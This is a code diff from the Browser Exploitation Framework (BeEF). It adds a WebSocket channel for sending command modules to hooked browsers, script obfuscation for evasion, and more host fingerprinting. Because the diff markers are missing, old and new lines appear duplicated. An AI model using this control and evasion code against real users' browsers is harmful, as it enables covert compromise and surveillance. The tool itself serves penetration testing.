# Initial setup function, creates the command module and saves details to datastore
def setup()
@http_params = @data['request'].params
@http_header = Hash.new
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
.each {|key,value|
@http_header[key.sub(/^HTTP_/, '')] = value
}
@http_params = @data['request'].params
@http_header = Hash.new
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value|
@http_header[key.sub(/^HTTP_/, '')] = value
}
# @note get and check command id from the request
command_id = get_param(@data, 'cid')
# @todo ruby filter needs to be updated to detect fixnums not strings
command_id = command_id.to_s()
(print_error "command_id is invalid";return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
# @note get and check command id from the request
command_id = get_param(@data, 'cid')
# @todo ruby filter needs to be updated to detect fixnums not strings
command_id = command_id.to_s()
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s())
# @note get and check session id from the request
beefhook = get_param(@data, 'beefhook')
(print_error "BeEFhook is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
# @note get and check session id from the request
beefhook = get_param(@data, 'beefhook')
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
result = get_param(@data, 'results')
result = get_param(@data, 'results')
# @note create the command module to handle the response
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
command.session_id = beefhook
if command.respond_to?(:post_execute)
command.post_execute
end
#@todo this is the part that store result on db and the modify will be accessible from all the framework and so UI too
# @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname
(print_error "command friendly name is empty"; return) if command_friendly_name.empty?
command_results = get_param(@data, 'results')
(print_error "command results are empty"; return) if command_results.empty?
# @note save the command module results to the datastore and create a log entry
command_results = {'data' => command_results}
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
end
# Returns parameter from hash
# @param [Hash] query Hash of data to return data from
# @param [String] key Key to search for and return inside `query`
# @return Value referenced in hash at the supplied key
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
# @note create the command module to handle the response
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook)
command.session_id = beefhook
if command.respond_to?(:post_execute)
command.post_execute
end
# @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname
(print_error "command friendly name is empty";return) if command_friendly_name.empty?
command_results = get_param(@data, 'results')
(print_error "command results are empty";return) if command_results.empty?
# @note save the command module results to the datastore and create a log entry
command_results = {'data' => command_results}
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
end
# Returns parameter from hash
# @param [Hash] query Hash of data to return data from
# @param [String] key Key to search for and return inside `query`
# @return Value referenced in hash at the supplied key
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
end
end
end
end

View File

@@ -17,43 +17,73 @@ module BeEF
module Core
module Handlers
module Modules
# @note Purpose: avoid rewriting several times the same code.
module BeEFJS
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def build_beefjs!(req_host)
config = BeEF::Core::Configuration.instance
# @note set up values required to construct beefjs
beefjs = ''
# @note location of sub files
beefjs = ''
# @note location of sub files
beefjs_path = "#{$root_dir}/core/main/client/"
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
# @note we load websocket library only if ws server is enabled in config.yalm
# check in init.js
if config.get("beef.http.websocket.enable")
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js)
else
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
end
# @note construct the beefjs string from file(s)
js_sub_files.each {|js_sub_file_name|
js_sub_file_abs_path = beefjs_path + js_sub_file_name
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
js_sub_file_abs_path = beefjs_path + js_sub_file_name
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
}
# @note create the config for the hooked browser session
config = BeEF::Core::Configuration.instance
hook_session_name = config.get('beef.http.hook_session_name')
hook_session_config = BeEF::Core::Server.instance.to_h
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
if hook_session_config['beef_public_port'] == '443'
hook_session_config['beef_url'].sub!(/http:/, 'https:')
end
end
end
if config.get("beef.http.websocket.enable")
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
end
# @note populate place holders in the beefjs string and set the response body
eruby = Erubis::FastEruby.new(beefjs)
@body << eruby.evaluate(hook_session_config)
@hook = eruby.evaluate(hook_session_config)
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
end
@body << @hook
end
# Finds the path to js components
# @param [String] component Name of component
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
@@ -62,33 +92,33 @@ module Modules
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
component_path
end
# Builds missing beefjs components.
# @param [Array] beefjs_components An array of component names
def build_missing_beefjs_components(beefjs_components)
# @note verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
beefjs_components = {beefjs_components => beefjs_components_path}
end
beefjs_components.keys.each {|k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
component_path = beefjs_components[k]
# @note we output the component to the hooked browser
@body << File.read(component_path)+"\n\n"
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
@@ -99,7 +129,7 @@ module Modules
end
end
end
end
end

View File

@@ -14,57 +14,85 @@
# limitations under the License.
#
module BeEF
module Core
module Handlers
module Modules
module Core
module Handlers
module Modules
module Command
module Command
# Adds the command module instructions to a hooked browser's http response.
# @param [Object] command Command object
# @param [Object] hooked_browser Hooked Browser object
def add_command_instructions(command, hooked_browser)
# Adds the command module instructions to a hooked browser's http response.
# @param [Object] command Command object
# @param [Object] hooked_browser Hooked Browser object
def add_command_instructions(command, hooked_browser)
(print_error "hooked_browser is nil"; return) if hooked_browser.nil?
(print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil?
(print_error "hooked_browser is nil"; return) if command.nil?
(print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil?
(print_error "hooked_browser is nil";return) if hooked_browser.nil?
(print_error "hooked_browser.session is nil";return) if hooked_browser.session.nil?
(print_error "hooked_browser is nil";return) if command.nil?
(print_error "hooked_browser.command_module_id is nil";return) if command.command_module_id.nil?
config = BeEF::Core::Configuration.instance
# @note get the command module
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
(print_error "command_module is nil"; return) if command_module.nil?
(print_error "command_module.path is nil"; return) if command_module.path.nil?
# @note get the command module
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
(print_error "command_module is nil";return) if command_module.nil?
(print_error "command_module.path is nil";return) if command_module.path.nil?
if (command_module.path.match(/^Dynamic/))
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
end
command_module.command_id = command.id
command_module.session_id = hooked_browser.session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
ws = BeEF::Core::Websocket::Websocket.instance
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@output = evasion.obfuscate(command_module.output)
else
@output = command_module.output
end
#todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
#content = command_module.output.gsub('//
#// Copyright 2012 Wade Alcorn wade@bindshell.net
#//
#// Licensed under the Apache License, Version 2.0 (the "License");
#// you may not use this file except in compliance with the License.
#// You may obtain a copy of the License at
#//
#// http://www.apache.org/licenses/LICENSE-2.0
#//
#// Unless required by applicable law or agreed to in writing, software
#// distributed under the License is distributed on an "AS IS" BASIS,
#// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#// See the License for the specific language governing permissions and
#// limitations under the License.
#//', "")
ws.send(@output, hooked_browser.session)
else
@body << @output + "\n\n"
end
# @note prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
end
# @note flag that the command has been sent to the hooked browser
command.instructions_sent = true
command.save
end
end
if(command_module.path.match(/^Dynamic/))
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
command_module = BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{key}.class")).new(key)
end
command_module.command_id = command.id
command_module.session_id = hooked_browser.session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
@body << command_module.output + "\n\n"
# @note prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
end
# @note flag that the command has been sent to the hooked browser
command.instructions_sent = true
command.save
end
end
end
end
end
end

View File

@@ -14,118 +14,118 @@
# limitations under the License.
#
module BeEF
module Core
module NetworkStack
module Handlers
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
class DynamicReconstruction < BeEF::Core::Router::Router
module Core
module NetworkStack
module Handlers
# @note holds packet queue
PQ = Array.new()
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
class DynamicReconstruction < BeEF::Core::Router::Router
# @note obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
# @note holds packet queue
PQ = Array.new()
before do
error 404 unless !params.empty?
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
# @note obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
# Combines packet information and pushes to PQ (packet queue), then checks packets
get '/' do
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
before do
error 404 unless !params.empty?
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
PQ << {
:beefhook => params[:bh],
:stream_id => Integer(params[:sid]),
:packet_id => Integer(params[:pid]),
:packet_count => Integer(params[:pc]),
:data => params[:d]
}
# Combines packet information and pushes to PQ (packet queue), then checks packets
get '/' do
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
Thread.new {
check_packets()
}
end
PQ << {
:beefhook => params[:bh],
:stream_id => Integer(params[:sid]),
:packet_id => Integer(params[:pid]),
:packet_count => Integer(params[:pc]),
:data => params[:d]
}
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
Thread.new {
check_packets()
}
end
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
next
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
pc = 0
PQ.each do |p|
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
pc = 0
PQ.each do |p|
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
pc += 1
pc += 1
end
end
if (packet[:packet_count] == pc)
end
if (packet[:packet_count] == pc)
packets = expunge(packet[:beefhook], packet[:stream_id])
data = ''
packets.each_with_index do |sp,i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
packets.each_with_index do |sp, i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
end
b64 = Base64.decode64(data)
b64 = Base64.decode64(data)
begin
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = request
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
execute(res)
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = request
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
execute(res)
rescue JSON::ParserError => e
print_debug 'Network stack could not decode packet stream.'
print_debug 'Dumping Stream Data [base64]: '+data
print_debug 'Dumping Stream Data: '+b64
print_debug 'Network stack could not decode packet stream.'
print_debug 'Dumping Stream Data [base64]: '+data
print_debug 'Dumping Stream Data: '+b64
end
end
end
end
end
end
# Delete packets that have been reconstructed, return deleted packets
# @param [String] beefhook Beefhook of hooked browser
# @param [Integer] stream_id The stream ID
def expunge(beefhook, stream_id)
packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
packets.sort_by { |p| p[:packet_id] }
end
# Delete packets that have been reconstructed, return deleted packets
# @param [String] beefhook Beefhook of hooked browser
# @param [Integer] stream_id The stream ID
def expunge(beefhook, stream_id)
packets = PQ.select { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
packets.sort_by { |p| p[:packet_id] }
end
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
# @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
else
MOUNTS[handler].new(data)
end
end
end
# Assist function for getting parameter from hash
# @param [Hash] query Hash to pull key from
# @param [String] key The key association to return from `query`
# @return Value associated with `key`
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end
# Assist function for getting parameter from hash
# @param [Hash] query Hash to pull key from
# @param [String] key The key association to return from `query`
# @return Value associated with `key`
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end
end
end
end
end

View File

@@ -0,0 +1,134 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Core
module Websocket
require 'singleton'
require 'json'
require 'base64'
require 'em-websocket'
class Websocket
include Singleton
include BeEF::Core::Handlers::Modules::Command
@@activeSocket= Hash.new
@@lastalive= Hash.new
@@config = BeEF::Core::Configuration.instance
MOUNTS = BeEF::Core::Server.instance.mounts
def initialize
port = @@config.get("beef.http.websocket.port")
secure = @@config.get("beef.http.websocket.secure")
Thread.new {
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start)
EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws|
begin
print_debug "New WebSocket channel open."
ws.onmessage { |msg|
msg_hash = JSON.parse("#{msg}")
#@note messageHash[result] is Base64 encoded
if (msg_hash["cookie"]!= nil)
print_debug("WebSocket - Browser says helo! WebSocket is running")
#insert new connection in activesocket
@@activeSocket["#{msg_hash["cookie"]}"] = ws
print_debug("WebSocket - activeSocket content [#{@@activeSocket}]")
elsif msg_hash["alive"] != nil
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
unless hooked_browser.nil?
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save
#Check if new modules need to be sent
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
#@todo antisnatchor:
#@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
#Check if new forged requests need to be sent (Requester/TunnelingProxy)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, '')
#Check if new XssRays scan need to be started
xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, '')
end
else
#json recv is a cmd response decode and send all to
#we have to call dynamicreconstructor handler camp must be websocket
#print_debug("Received from WebSocket #{messageHash}")
execute(msg_hash)
end
}
rescue Exception => e
print_error "WebSocket error: #{e}"
end
end
}
}
end
#@note retrieve the right websocket channel given an hooked browser session
#@param [String] session the hooked browser session
def getsocket (session)
if (@@activeSocket[session] != nil)
true
else
false
end
end
#@note send a function to hooked and ws browser
#@param [String] fn the module to execute
#@param [String] session the hooked browser session
def send (fn, session)
@@activeSocket[session].send(fn)
end
BeEF::Core::Handlers::Commands
#call the handler for websocket cmd response
#@param [Hash] data contains the answer of a command
def execute (data)
command_results=Hash.new
command_results["data"]=Base64.decode64(data["result"])
command_results["data"].force_encoding('UTF-8')
hooked_browser = data["bh"]
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(hooked_browser)
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
(print_error "command name is empty"; return) if data["handler"].empty?
(print_error "command results are empty"; return) if command_results.empty?
handler = data["handler"]
if handler.match(/command/)
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
else #processing results from extensions, call the right handler
data["beefhook"] = hooked_browser
data["results"] = JSON.parse(Base64.decode64(data["result"]))
if MOUNTS.has_key?(handler)
if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
MOUNTS[handler].new(data)
end
end
end
end
end
end
end
end

View File

@@ -30,6 +30,11 @@ module BeEF
'Expires' => '0'
end
# @note Return a can of Leffe to the thirsty Bovine Security Team member. AthCon2012 joke /antisnatchor/
#get "/to/a/pub"
# "BeER please"
#end
# @note Get online and offline hooked browsers details (like name, version, os, ip, port, ...)
get '/' do
online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15)))

View File

@@ -29,7 +29,8 @@ module BeEF
def initialize
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
@url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}"
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
@url = "http://#{beef_host}:#{beef_port}"
@root_dir = File.expand_path('../../../', __FILE__)
@command_urls = {}
@mounts = {}
@@ -44,6 +45,8 @@ module BeEF
'beef_root_dir' => @root_dir,
'beef_host' => @configuration.get('beef.http.host'),
'beef_port' => @configuration.get('beef.http.port'),
'beef_public' => @configuration.get('beef.http.public'),
'beef_public_port' => @configuration.get('beef.http.public_port'),
'beef_dns' => @configuration.get('beef.http.dns'),
'beef_hook' => @configuration.get('beef.http.hook_file')
}

View File

@@ -33,11 +33,20 @@ module BeEF
def self.get_categories
categories = []
BeEF::Core::Configuration.instance.get('beef.module').each {|k,v|
if not categories.include?(v['category'])
categories << v['category']
flatcategory = ""
if v['category'].kind_of?(Array)
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
v['category'].each {|cat|
flatcategory << cat + "/"
}
else
flatcategory = v['category']
end
if not categories.include?(flatcategory)
categories << flatcategory
end
}
return categories.sort
return categories.sort.uniq #This is now uniqued, because otherwise the recursive function to build the json tree breaks if there are duplicates.
end
# Get all modules currently stored in the database

View File

@@ -119,21 +119,36 @@ class Modules < BeEF::Extension::AdminUI::HttpController
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the date stamp
date_stamp = BD.get(zombie_session, 'DateStamp')
if not date_stamp.nil?
encoded_date_stamp = CGI.escapeHTML(date_stamp)
encoded_date_stamp_hash = { 'Date' => encoded_date_stamp }
page_name_row = {
'category' => 'Host',
'data' => encoded_date_stamp_hash,
'from' => 'Initialization'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the os name
os_name = BD.get(zombie_session, 'OsName')
if not host_name.nil?
encoded_os_name = CGI.escapeHTML(os_name)
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
page_name_row = {
'category' => 'Host',
'data' => encoded_os_name_hash,
'from' => 'Initialization'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the browser name
browser_name = BD.get(zombie_session, 'BrowserName')
if not browser_name.nil?
@@ -224,24 +239,24 @@ class Modules < BeEF::Extension::AdminUI::HttpController
end
# set and add the zombie screen size and color depth
screen_params = BD.get(zombie_session, 'ScreenParams')
if not screen_params.nil?
screen_size = BD.get(zombie_session, 'ScreenSize')
if not screen_size.nil?
screen_params_hash = JSON.parse(screen_params.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
width = screen_params_hash['width']
screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
width = screen_size_hash['width']
(print_error "width is wrong type";return) if not width.is_a?(Fixnum)
height = screen_params_hash['height']
height = screen_size_hash['height']
(print_error "height is wrong type";return) if not height.is_a?(Fixnum)
colordepth = screen_params_hash['colordepth']
colordepth = screen_size_hash['colordepth']
(print_error "colordepth is wrong type";return) if not colordepth.is_a?(Fixnum)
# construct the string to be displayed in the details tab
encoded_screen_params = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
encoded_screen_params_hash = { 'Screen Params' => encoded_screen_params }
encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size }
page_name_row = {
'category' => 'Host',
'data' => encoded_screen_params_hash,
'data' => encoded_screen_size_hash,
'from' => 'Initialization'
}
@@ -427,8 +442,28 @@ class Modules < BeEF::Extension::AdminUI::HttpController
return BeEF::Module.support(mod, {'browser' => BD.get(hook_session_id, 'BrowserName'), 'ver' => BD.get(hook_session_id, 'BrowserVersion'), 'os' => [BD.get(hook_session_id, 'OsName')]})
end
def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)
# If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse
# into the tree to find where it goes
def update_command_module_tree_recurse(tree,category,leaf)
working_category = category.shift
tree.each {|t|
if t['text'].eql? working_category and category.count > 0
#We have deeper to go
update_command_module_tree_recurse(t['children'],category,leaf)
elsif t['text'].eql? working_category
#Bingo
t['children'].push(leaf)
break
end
}
#return tree
end
#Add the command to the tree
def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)
# construct leaf node for the command module tree
leaf_node = {
'text' => cmd_name,
@@ -439,24 +474,99 @@ class Modules < BeEF::Extension::AdminUI::HttpController
}
# add the node to the branch in the command module tree
tree.each {|x|
if x['text'].eql? cmd_category
x['children'].push( leaf_node )
break
end
}
if cmd_category.is_a?(Array)
#The category is an array, therefore it's a sub-folderised category
cat_copy = cmd_category.dup #Don't work with the original array, because, then it breaks shit
update_command_module_tree_recurse(tree,cat_copy,leaf_node)
else
#original logic here, simply add the command to the tree.
tree.each {|x|
if x['text'].eql? cmd_category
x['children'].push( leaf_node )
break
end
}
end
end
#Recursive function to build the tree now with sub-folders
def build_recursive_tree(parent,input)
cinput = input.shift.chomp('/')
if cinput.split('/').count == 1 #then we have a single folder now
if parent.detect {|p| p['text'] == cinput}.nil?
parent << {'text' => cinput, 'cls' => 'folder', 'children' => []}
else
if input.count > 0
parent.each {|p|
if p['text'] == cinput
p['children'] = build_recursive_tree(p['children'],input)
end
}
end
end
else
#we have multiple folders
newinput = cinput.split('/')
newcinput = newinput.shift
if parent.detect {|p| p['text'] == newcinput }.nil?
fldr = {'text' => newcinput, 'cls' => 'folder', 'children' => []}
parent << build_recursive_tree(fldr['children'],newinput)
else
parent.each {|p|
if p['text'] == newcinput
p['children'] = build_recursive_tree(p['children'],newinput)
end
}
end
end
if input.count > 0
return build_recursive_tree(parent,input)
else
return parent
end
end
#Recursive function to sort all the parent's children
def sort_recursive_tree(parent)
# sort the children nodes by status and name
parent.each {|x|
#print_info "Sorting: " + x['children'].to_s
if x.is_a?(Hash) and x.has_key?('children')
x['children'] = x['children'].sort_by {|a|
fldr = a['cls'] ? a['cls'] : 'zzzzz'
"#{fldr}#{a['status']}#{a['text']}"
}
x['children'].each {|c|
sort_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
}
end
}
end
#Recursive function to retitle folders with the number of children
def retitle_recursive_tree(parent)
# append the number of command modules so the branch name results in: "<category name> (num)"
parent.each {|command_module_branch|
if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children')
num_of_command_modules = command_module_branch['children'].length
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
command_module_branch['children'].each {|c|
retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
}
end
}
end
# Returns the list of all command_modules for a TreePanel in the interface.
def select_command_modules_tree
blanktree = []
tree = []
BeEF::Modules.get_categories.each { |c|
tree.push({
'text' => c,
'cls' => 'folder',
'children' => []
})
}
#Due to the sub-folder nesting, we use some really badly hacked together recursion
#Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x
tree = build_recursive_tree(blanktree,BeEF::Modules.get_categories)
BeEF::Modules.get_enabled.each{|k, mod|
# get the hooked browser session id and set it in the command module
@@ -508,16 +618,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
# sort the parent array nodes
tree.sort! {|a,b| a['text'] <=> b['text']}
# sort the children nodes by status and name
tree.each {|x| x['children'] =
x['children'].sort_by {|a| [a['status'],a['text']]}
}
sort_recursive_tree(tree)
retitle_recursive_tree(tree)
# append the number of command modules so the branch name results in: "<category name> (num)"
tree.each {|command_module_branch|
num_of_command_modules = command_module_branch['children'].length
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
}
# return a JSON array of hashes
@body = tree.to_json

File diff suppressed because one or more lines are too long

View File

@@ -328,21 +328,36 @@ class ShellInterface
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the date
date_stamp = BD.get(self.targetsession, 'DateStamp')
if not date_stamp.nil?
encoded_date_stamp = CGI.escapeHTML(date_stamp)
encoded_date_stamp_hash = { 'Date' => encoded_date_stamp }
page_name_row = {
'category' => 'Host',
'data' => encoded_date_stamp,
'from' => 'Initialization'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the os name
os_name = BD.get(self.targetsession, 'OsName')
if not os_name.nil?
encoded_os_name = CGI.escapeHTML(os_name)
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
page_name_row = {
'category' => 'Host',
'data' => encoded_os_name_hash,
'from' => 'Initialization'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the browser name
browser_name = BD.get(self.targetsession, 'BrowserName')
if not browser_name.nil?
@@ -433,21 +448,21 @@ class ShellInterface
end
# set and add the zombie screen size and color depth
screen_params = BD.get(self.targetsession, 'ScreenParams')
if not screen_params.nil?
screen_size = BD.get(self.targetsession, 'ScreenSize')
if not screen_size.nil?
